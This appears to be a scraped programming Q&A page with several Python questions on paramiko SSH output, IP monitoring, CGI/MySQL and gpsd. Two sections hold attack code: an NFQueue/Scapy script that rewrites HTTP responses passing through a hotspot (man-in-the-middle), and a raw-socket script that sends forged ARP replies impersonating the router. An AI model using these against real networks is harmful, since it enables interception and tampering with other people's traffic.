ssh result seems to only be 16bits in python with paramiko - python

im using paramiko in python 2.7 to connect to a cisco router, send a command and then parse the output of the command in a for loop.
the problem seems to be that the returning result is limited to 65535 characters (16bits). I printed the output and pasted it in an editor to count the characters and thats wht it gave me. Im sure im doing this very wrong because im learning python as I go hehe. here is the code:
import sqlite3
import paramiko
import time
import re
def disable_paging(remote_conn):
'''Disable paging on a Cisco router'''
remote_conn.send("terminal length 0\n")
time.sleep(1)
output = remote_conn.recv(10000)
return output
if __name__ == '__main__':
username = 'user'
password = 'password'
db = sqlite3.connect('cmts-priv.sqlite')
cursor = db.cursor()
cursor.execute('''SELECT ID, ip, hostname, uptime, active, cmtstype FROM cmts''')
all_rows = cursor.fetchall()
print "Producing report. This takes a few seconds so be patient and do not refresh\n"
for row in all_rows:
if (row[4] == 1):
print "Docsis 1.x modems for : " + row[2]
print"\n"
remote_conn_pre = paramiko.SSHClient()
remote_conn_pre.set_missing_host_key_policy(
paramiko.AutoAddPolicy())
ip=row[1]
remote_conn_pre.connect(ip, username=username, password=password)
remote_conn = remote_conn_pre.invoke_shell()
disable_paging(remote_conn)
remote_conn.send("\n")
remote_conn.send("show cable modem docsis version | inc 1\.[10] 1\.[10]\n")
time.sleep(5)
output = remote_conn.recv(100000000)
output = output.split("\n")
remote_conn_pre.close()
#print output
for i in output:
if "0013.11" not in i and "0015.96" not in i and "0015.a2" not in i and "0015.a3" not in i and "0015.a4" not in i and "0015.ce" not in i and "0015.cf" not in i and "0015.d0" not in i:
X = '([0-9a-fA-F]{4}\.[0-9a-fA-F]{4}\.[0-9a-fA-F]{4})'
c = re.compile(X).finditer(i)
if c:
for y in c:
print i[y.start(): y.end()]
print "\n=============================\n"
The result this would give to the output variable would be as follow:
00a0.7373.2a14 C4/0/U1 online 11 1.0 1.0 tdma NB
00a0.7372.ed18 C4/0/U1 online 12 1.0 1.0 tdma NB
00a0.7373.2af2 C4/0/U0 online 20 1.1 1.1 tdma NB
.....
with about 3500 results per router
Then i extract the macs after i filter the ones i dont want and output them in a list. the problem is the result im getting back from the router seems to stop at 16bits when i actually would get much more. it stops at about 1/6th compared to if i produce the output directly in the router cli. I tried to play with timeouts and the sleep and the recv buffer. i just cant figure this one out :(
of and the sqlite db stores a few things bbecuase i use it for a few scripts. what im getting with row[1] is the ip of the router to feed it to the connect string.
Im sure a bunch of you will say im complicating my life as hell but like i said i am learning all of this from google searches hehe and then trying to understand it. this will evolve for sure but for now im really stuck in a pickle with this partial and incomplete result im getting from my routers. help :(

You need to put a loop around your recv, something like:
buff = ''
while not buff.endswith(':~# '):
resp = chan.recv(9999)
buff += resp
print(resp)
See this example: https://gist.github.com/rtomaszewski/3397251

Related

NFQueue/Scapy Man in the Middle

I'm trying to construct a man in the middle attack on a webpage (i.e. HTTP traffic). I'm doing this by using a Linux machine attached to Ethernet and a client attached to the Linux box via its WiFi hotspot.
What I've done so far is use NFQueue from within the IPTables Linux firewall to route all TCP packets on the FORWARD chain to the NFQueue queue, which a Python script is picking up and then processing those rules. I'm able to read the data off of the HTTP response packets, but whenever I try to modify them and pass them back (accept the packets), I'm getting an error regarding the strings:
Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored
My code is here, which includes things that I've tried that didn't work. Notably, I'm using a third-party extension for scapy called scapy_http that may be interfering with things, and I'm using a webpage that is not being compressed by gzip because that was messing with things as well. The test webpage that I'm using is here.
#scapy
from scapy.all import *
#nfqueue import
from netfilterqueue import NetfilterQueue
#scapy http extension, not really needed
import scapy_http.http
#failed gzip decoding, also tried some other stuff
#import gzip
def print_and_accept(packet):
#convert nfqueue datatype to scapy-compatible
pkt = IP(packet.get_payload())
#is this an HTTP response?
if pkt[TCP].sport == 80:
#legacy trial that doesn't work
#data = packet.get_data()
print('HTTP Packet Found')
#check what's in the payload
stringLoad = str(pkt[TCP].payload)
#deleted because printing stuff out clogs output
#print(stringLoad)
#we only want to modify a specific packet:
if "<title>Acids and Bases: Use of the pKa Table</title>" in stringLoad:
print('Target Found')
#strings kind of don't work, I think this is a me problem
#stringLoad.replace('>Acids and Bases: Use of the pK<sub>a</sub>', 'This page has been modified: a random ')
#pkt[TCP].payload = stringLoad
#https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
payload_before = len(pkt[TCP].payload)
# I suspect this line is a problem: the string assigns,
# but maybe under the hood scapy doesn't like that very much
pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")
#recalculate length
payload_after = len(pkt[TCP].payload)
payload_dif = payload_after - payload_before
pkt[IP].len = pkt[IP].len + payload_dif
#recalculate checksum
del pkt[TCP].chksum
del pkt[IP].chksum
del pkt.chksum
print('Packet Modified')
#redudant
#print(stringLoad)
#this throws an error (I think)
print(str(pkt[TCP].payload))
#no clue if this works or not yet
#goal here is to reassign modified packet to original parameter
packet.set_payload(str(pkt))
#this was also throwing the error, so tried to move away from it
#print(pkt.show2())
#bunch of legacy code that didn't work
#print(GET_print(pkt))
#print(pkt.show())
#decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
#print(decompressed_data)
#print(str(gzip.decompress(pkt[TCP].payload)))
# print(pkt.getlayer(Raw).load)
#print('HTTP Contents Shown')
packet.accept()
def GET_print(packet1):
ret = "***************************************GET PACKET****************************************************\n"
ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
ret += "*****************************************************************************************************\n"
return ret
print('Test: Modify a very specific target')
print('Program Starting')
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
print('Packet Interface Starting')
nfqueue.run()
except KeyboardInterrupt:
print('\nProgram Ending')
nfqueue.unbind()
Apologies in advance if this is hard to read or badly formatted code; Python isn't a language that I write in often. Any help is greatly appreciated!

Loop to check if a variable has changed in Python

I have just learned the basics of Python, and I am trying to make a few projects so that I can increase my knowledge of the programming language.
Since I am rather paranoid, I created a script that uses PycURL to fetch my current IP address every x seconds, for VPN security. Here is my code[EDITED]:
import requests
enterIP = str(input("What is your current IP address?"))
def getIP():
while True:
try:
result = requests.get("http://ipinfo.io/ip")
print(result.text)
except KeyboardInterrupt:
print("\nProccess terminated by user")
return result.text
def checkIP():
while True:
if enterIP == result.text:
pass
else:
print("IP has changed!")
getIP()
checkIP()
Now I would like to expand the idea, so that the script asks the user to enter their current IP, saves that octet as a string, then uses a loop to keep running it against the PycURL function to make sure that their IP hasn't changed? The only problem is that I am completely stumped, I cannot come up with a function that would take the output of PycURL and compare it to a string. How could I achieve that?
As #holdenweb explained, you do not need pycurl for such a simple task, but nevertheless, here is a working example:
import pycurl
import time
from StringIO import StringIO
def get_ip():
buffer = StringIO()
c = pycurl.Curl()
c.setopt(pycurl.URL, "http://ipinfo.io/ip")
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
return buffer.getvalue()
def main():
initial = get_ip()
print 'Initial IP: %s' % initial
try:
while True:
current = get_ip()
if current != initial:
print 'IP has changed to: %s' % current
time.sleep(300)
except KeyboardInterrupt:
print("\nProccess terminated by user")
if __name__ == '__main__':
main()
As you can see I moved the logic of getting the IP to separate function: get_ip and added few missing things, like catching the buffer to a string and returning it. Otherwise it is pretty much the same as the first example in pycurl quickstart
The main function is called below, when the script is accessed directly (not by import).
First off it calls the get_ip to get initial IP and then runs the while loop which checks if the IP has changed and lets you know if so.
EDIT:
Since you changed your question, here is your new code in a working example:
import requests
def getIP():
result = requests.get("http://ipinfo.io/ip")
return result.text
def checkIP():
initial = getIP()
print("Initial IP: {}".format(initial))
while True:
current = getIP()
if initial == current:
pass
else:
print("IP has changed!")
checkIP()
As I mentioned in the comments above, you do not need two loops. One is enough. You don't even need two functions, but better do. One for getting the data and one for the loop. In the later, first get initial value and then run the loop, inside which you check if value has changed or not.
It seems, from reading the pycurl documentation, like you would find it easier to solve this problem using the requests library. Curl is more to do with file transfer, so the library expects you to provide a file-like object into which it writes the contents. This would greatly complicate your logic.
requests allows you to access the text of the server's response directly:
>>> import requests
>>> result = requests.get("http://ipinfo.io/ip")
>>> result.text
'151.231.192.8\n'
As #PeterWood suggested, a function would be more appropriate than a class for this - or if the script is going to run continuously, just a simple loop as the body of the program.

Can't receive messages - Python sockets

I am trying to read an ARP request with my python script which is on my computer that is running Ubuntu 14.04. Wireshark shows that I AM receiving the ARP requests but I am not able to read it with python. I am not sure if the problem is in my computer or not, but I think that somehow the problem is in my computer and not the script.
I am running this script with sudo python "..../name.py"
This is my python script so far:
import dpkt
import socket
import binascii
import time
def to_Readble(addr):
s=list()
addr=binascii.hexlify(addr)
for i in xrange(12/2):
s.append(addr[i*2:i*2+2])
r=":".join(s)
return r
def to_Sendable(r):
s=r.split(":")
for i in xrange(6):
s[i]=binascii.unhexlify(s[i])
addr=''.join(s)
return addr
def buildARP(src_mac, src_ip, to_mac, to_ip):
arp_p = dpkt.arp.ARP()
arp_p.sha = to_Sendable(src_mac) #add configure
arp_p.spa = socket.inet_aton(src_ip)
arp_p.tha = to_Sendable(to_mac) #add configure
arp_p.tpa = socket.inet_aton(to_ip)
arp_p.op = dpkt.arp.ARP_OP_REPLY #reply
packet = dpkt.ethernet.Ethernet()
packet.src = to_Sendable(src_mac)
packet.dst = to_Sendable(to_mac)
packet.data = arp_p
packet.type = dpkt.ethernet.ETH_TYPE_ARP
return packet
raw_sock=socket.socket(socket.PF_PACKET, socket.SOCK_RAW,socket.htons(0x0003))#changed ver
raw_sock.bind(("eth0", dpkt.ethernet.ETH_TYPE_ARP))
#dns_sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#dns_sock.bind(('',53))
my_mac=to_Readble(raw_sock.getsockname()[-1])
print my_mac
#my_mac="e0:06:e6:d7:c6:c3"
dif="00:00:00:00:00:00"
dif1="ff:ff:ff:ff:ff:ff"
rout="192.168.122.1"
ip_macs={}
print "running"
while 1:
for i in ip_macs.keys():#sending stuff
raw_sock.send(str(buildARP(my_mac,rout,ip_macs[i],i)))
try:
# raw_sock.recv(1024) Blocks the script!!!!***!!!
data = raw_sock.recv(1024)
print "got arp"
...
Someone has an Idea for why I am not getting the requests?
You need socket.listen() after the socket.bind().
Rather that repeat other answers, see this So Answer:
(Very) basic Python client socket example

MySQL connection/query make file not work

I've got some test code I'm working on. In a separate HTML file, a button onclick event gets the URL of the page and passes it as a variable (jquery_input) to this python script. Python then scrapes the URL and identifies two pieces of data, which it then formats and concatenates together (resulting in the variable lowerCaseJoined). This concatenated variable has a corresponding entry in a MySQL database. With each entry in the db, there is an associated .gif file.
From here, what I'm trying to do is open a connection to the MySQL server and query the concatenated variable against the db to get the associated .gif file.
Once this has been accomplished, I want to print the .gif file as an alert on the webpage.
If I take out the db section of the code (connection, querying), the code runs just fine. Also, I am successfully able to execute the db part of the code independently through the Python shell. However, when the entire code resides in one file, nothing happens when I click the button. I've systematically removed the lines of code related to the db connection, and my code begins stalling out at the first line (db = MySQLdb.connection...). So it looks like as soon as I start trying to connect to the db, the program goes kaput.
Here is the code:
#!/usr/bin/python
from bs4 import BeautifulSoup as Soup
import urllib
import re
import cgi, cgitb
import MySQLdb
cgitb.enable() # for troubleshooting
# the cgi library gets the var from the .html file
form = cgi.FieldStorage()
jquery_input = form.getvalue("stuff_for_python", "nothing sent")
# the next section scrapes the URL,
# finds the call no and location,
# formats them, and concatenates them
content = urllib.urlopen(jquery_input).read()
soup = Soup(content)
extracted = soup.find_all("tr", {"class": "bibItemsEntry"})
cleaned = str(extracted)
start = cleaned.find('browse') +8
end = cleaned.find('</a>', start)
callNo = cleaned[start:end]
noSpacesCallNo = callNo.replace(' ', '')
noSpacesCallNo2 = noSpacesCallNo.replace('.', '')
startLoc = cleaned.find('field 1') + 13
endLoc = cleaned.find('</td>', startLoc)
location = cleaned[startLoc:endLoc]
noSpacesLoc = location.replace(' ', '')
joined = (noSpacesCallNo2+noSpacesLoc)
lowerCaseJoined = joined.lower()
# the next section establishes a connection
# with the mySQL db and queries it
# using the call/loc code (lowerCaseJoined)
db = MySQLdb.connect(host="localhost", user="...", "passwd="...",
db="locations")
cur = db.cursor()
queryDb = """
SELECT URL FROM locations WHERE location = %s
"""
cur.execute(queryDb, lowerCaseJoined)
result = cur.fetchall()
cur.close()
db.close()
# the next 2 'print' statements are important for web
print "Content-type: text/html"
print
print result
Any ideas what I'm doing wrong?
I'm new at programming, so I'm sure there's a lot that can be improved upon here. But prior to refining it I just want to get the thing to work!
I figured out the problem. Seems that I had quotation mark before the password portion of the db connection line. Things are all good now.

Read from gpsd/gpsfake with python-gps

I've been trying very hard to get gpsfake to work with python-gps for the last days.
I execute gpsfake with the following example sentences, which I found on the internet:
gpsfake test_data.log
test_data.log:
$PMGNST,05.40,2,T,961,08.3,+04583,00*4C
$GPGLL,5036.9881,N,00707.9142,E,125412.480,A*3F
$GPGGA,125412.48,5036.9881,N,00707.9142,E,2,04,20.5,00269,M,,,,*17
$GPRMC,125412.48,A,5036.9881,N,00707.9142,E,00.0,000.0,230506,00,E*4F
$GPGSA,A,2,27,04,08,24,,,,,,,,,20.5,20.5,*12
$GPGSV,3,1,10,13,81,052,,04,58,240,39,23,44,064,,24,43,188,36*75
$GPGSV,3,2,10,02,42,295,,27,34,177,40,20,21,113,,16,12,058,*7F
$GPGSV,3,3,10,08,07,189,38,10,05,293,,131,11,117,,120,28,209,*76
Once it's running, I execute a Python script I found here:
import gps
import os
import time
if __name__ == '__main__':
session = gps.gps(verbose=1)
while 1:
os.system('clear')
session.next()
# a = altitude, d = date/time, m=mode,
# o=postion/fix, s=status, y=satellites
print
print ' GPS reading'
print '----------------------------------------'
print 'latitude ' , session.fix.latitude
print 'longitude ' , session.fix.longitude
print time.strftime("%H:%M:%S")
print
print ' Satellites (total of', len(session.satellites) , ' in view)'
for i in session.satellites:
print '\t', i
time.sleep(3)
I gets a connection, but then it gets locked in class gpscommon, method read() on line 80:
frag = self.sock.recv(4096)
which tells me that no data is received or even sent.
When I try to connect over the terminal with
connect 127.0.0.1 2947
the only response is
{"class":"VERSION","release":"3.4","rev":"3.4","proto_major":3,"proto_minor":6}
and nothing else.
Does anyone have an idea how to get the correct data? I tried various NMEA log files, so I think that's not the reason.
To get location reports you'll have to start 'Watching' the devices gpsd/gpsfake is monitoring, try sending:
?WATCH={"enable":true,"json":true};
Which will enable updates from all devices in JSON format.
To stop updates:
?WATCH={"enable":false};
Once watching is enabled you'll get 'TPV' responses containing location data and 'SKY' responses with satellite data.
More information about clients: http://www.catb.org/gpsd/client-howto.html
GPSd JSON format: http://www.catb.org/gpsd/gpsd_json.html

Categories